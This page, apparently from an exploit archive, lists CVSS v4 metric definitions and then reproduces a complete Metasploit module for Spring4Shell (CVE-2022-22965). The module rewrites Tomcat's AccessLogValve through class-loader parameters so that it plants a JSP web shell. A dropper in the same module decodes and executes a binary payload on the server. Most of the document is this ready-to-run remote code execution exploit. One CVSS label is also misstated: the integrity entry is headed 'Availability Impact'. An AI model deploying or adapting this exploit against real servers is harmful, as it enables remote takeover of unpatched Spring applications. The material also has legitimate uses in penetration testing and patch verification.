The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System
High
VC
There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System
High
VI
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System
High
VA
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact
Negligible
SC
There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System
None
SI
There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System
None
SA
There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.
Below is a copy: Spring4Shell Spring Framework Class Property Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking # It's going to manipulate the Class Loader
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Spring Framework Class property RCE (Spring4Shell)',
'Description' => %q{
Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above
and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable
to remote code execution due to an unsafe data binding used to populate an object from request parameters
to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the
org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following:
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can
gain remote code execution.
},
'Author' => [
'vleminator <vleminator[at]gmail.com>'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-22965'],
['URL', 'https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement'],
['URL', 'https://github.com/spring-projects/spring-framework/issues/28261'],
['URL', 'https://tanzu.vmware.com/security/cve-2022-22965']
],
'Platform' => %w[linux win],
'Payload' => {
'Space' => 5000,
'DisableNops' => true
},
'Targets' => [
[
'Java',
{
'Arch' => ARCH_JAVA,
'Platform' => %w[linux win]
},
],
[
'Linux',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux'
}
],
[
'Windows',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win'
}
]
],
'DisclosureDate' => '2022-03-31',
'DefaultTarget' => 0,
'Notes' => {
'AKA' => ['Spring4Shell', 'SpringShell'],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to the application action', '/app/example/HelloWorld.action']),
OptString.new('PAYLOAD_PATH', [true, 'Path to write the payload', 'webapps/ROOT']),
OptEnum.new('HTTP_METHOD', [false, 'HTTP method to use', 'Automatic', ['Automatic', 'GET', 'POST']]),
]
)
register_advanced_options [
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def jsp_dropper(file, exe)
# The sun.misc.BASE64Decoder.decodeBuffer API is no longer available in Java 9.
dropper = <<~EOS
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"java.util.Base64\" %>
<%@ page import=\"java.io.File\" %>
<%
FileOutputStream oFile = new FileOutputStream(\"#{file}\", false);
oFile.write(Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(exe)}\"));
oFile.flush();
oFile.close();
File f = new File(\"#{file}\");
f.setExecutable(true);
Runtime.getRuntime().exec(\"#{file}\");
%>
EOS
dropper
end
def modify_class_loader(method, opts)
cl_prefix = 'class.module.classLoader'
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
'method' => method,
'headers' => {
'c1' => '<%', # %{c1}i replacement in payload
'c2' => '%>' # %{c2}i replacement in payload
},
"vars_#{method == 'GET' ? 'get' : 'post'}" => {
"#{cl_prefix}.resources.context.parent.pipeline.first.pattern" => opts[:payload],
"#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory],
"#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix],
"#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix],
"#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
}
})
end
def check_log_file
print_status("#{peer} - Waiting for the server to flush the logfile")
print_status("#{peer} - Executing JSP payload at #{full_uri(@jsp_file)}")
succeeded = retry_until_true(timeout: 60) do
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@jsp_file)
})
res&.code == 200 && !res.body.blank?
end
fail_with(Failure::UnexpectedReply, "Seems the payload hasn't been written") unless succeeded
print_good("#{peer} - Log file flushed")
end
# Fix the JSP payload to make it valid once is dropped
# to the log file
def fix(jsp)
output = ''
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l
elsif l =~ /<%/
next
elsif l =~ /%>/
next
elsif l.chomp.empty?
next
else
output << "<% #{l.chomp} %>"
end
end
output
end
def create_jsp
jsp = <<~EOS
<%
File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{@jsp_file}");
jsp.delete();
%>
#{Faker::Internet.uuid}
EOS
if target['Arch'] == ARCH_JAVA
jsp << fix(payload.encoded)
else
payload_exe = generate_payload_exe
payload_filename = rand_text_alphanumeric(rand(4..7))
if target['Platform'] == 'win'
payload_path = datastore['WritableDir'] + '\\' + payload_filename
else
payload_path = datastore['WritableDir'] + '/' + payload_filename
end
jsp << jsp_dropper(payload_path, payload_exe)
register_files_for_cleanup(payload_path)
end
jsp
end
def check
@checkcode = _check
end
def _check
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(Rex::Text.rand_text_alpha_lower(4..6))
)
return CheckCode::Unknown('Web server seems unresponsive') unless res
if res.headers.key?('Server')
res.headers['Server'].match(%r{(.*)/([\d|.]+)$})
else
res.body.match(%r{Apache\s(.*)/([\d|.]+)})
end
server = Regexp.last_match(1) || nil
version = Rex::Version.new(Regexp.last_match(2)) || nil
return Exploit::CheckCode::Safe('Application does not seem to be running under Tomcat') unless server && server.match(/Tomcat/)
vprint_status("Detected #{server} #{version} running")
if datastore['HTTP_METHOD'] == 'Automatic'
# prefer POST over get to keep the vars out of the query string if possible
methods = %w[POST GET]
else
methods = [ datastore['HTTP_METHOD'] ]
end
methods.each do |method|
vars = "vars_#{method == 'GET' ? 'get' : 'post'}"
res = send_request_cgi(
'method' => method,
'uri' => normalize_uri(datastore['TARGETURI']),
vars => { 'class.module.classLoader.DefaultAssertionStatus' => Rex::Text.rand_text_alpha_lower(4..6) }
)
# setting the default assertion status to a valid status
send_request_cgi(
'method' => method,
'uri' => normalize_uri(datastore['TARGETURI']),
vars => { 'class.module.classLoader.DefaultAssertionStatus' => 'true' }
)
return Exploit::CheckCode::Appears(details: { method: method }) if res.code == 400
end
Exploit::CheckCode::Safe
end
def exploit
prefix_jsp = rand_text_alphanumeric(rand(3..5))
date_format = rand_text_numeric(rand(1..4))
@jsp_file = prefix_jsp + date_format + '.jsp'
http_method = datastore['HTTP_METHOD']
if http_method == 'Automatic'
# if the check was skipped but we need to automatically identify the method, we have to run it here
@checkcode = check if @checkcode.nil?
http_method = @checkcode.details[:method]
fail_with(Failure::BadConfig, 'Failed to automatically identify the HTTP method') if http_method.blank?
print_good("Automatically identified HTTP method: #{http_method}")
end
# if the check method ran automatically, add a short delay before continuing with exploitation
sleep(5) if @checkcode
# Prepare the JSP
print_status("#{peer} - Generating JSP...")
# rubocop:disable Style/FormatStringToken
jsp = create_jsp.gsub('<%', '%{c1}i').gsub('%>', '%{c2}i')
# rubocop:enable Style/FormatStringToken
# Modify the Class Loader
print_status("#{peer} - Modifying Class Loader...")
properties = {
payload: jsp,
directory: datastore['PAYLOAD_PATH'],
prefix: prefix_jsp,
suffix: '.jsp',
file_date_format: date_format
}
res = modify_class_loader(http_method, properties)
unless res
fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
end
# No matter what happened, try to 'restore' the Class Loader
properties = {
payload: '',
directory: '',
prefix: '',
suffix: '',
file_date_format: ''
}
modify_class_loader(http_method, properties)
check_log_file
handler
end
# Retry the block until it returns a truthy value. Each iteration attempt will
# be performed with expoential backoff. If the timeout period surpasses, false is returned.
def retry_until_true(timeout:)
start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
ending_time = start_time + timeout
retry_count = 0
while Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) < ending_time
result = yield
return result if result
retry_count += 1
remaining_time_budget = ending_time - Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
break if remaining_time_budget <= 0
delay = 2**retry_count
if delay >= remaining_time_budget
delay = remaining_time_budget
vprint_status("Final attempt. Sleeping for the remaining #{delay} seconds out of total timeout #{timeout}")
else
vprint_status("Sleeping for #{delay} seconds before attempting again")
end
sleep delay
end
false
end
end
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum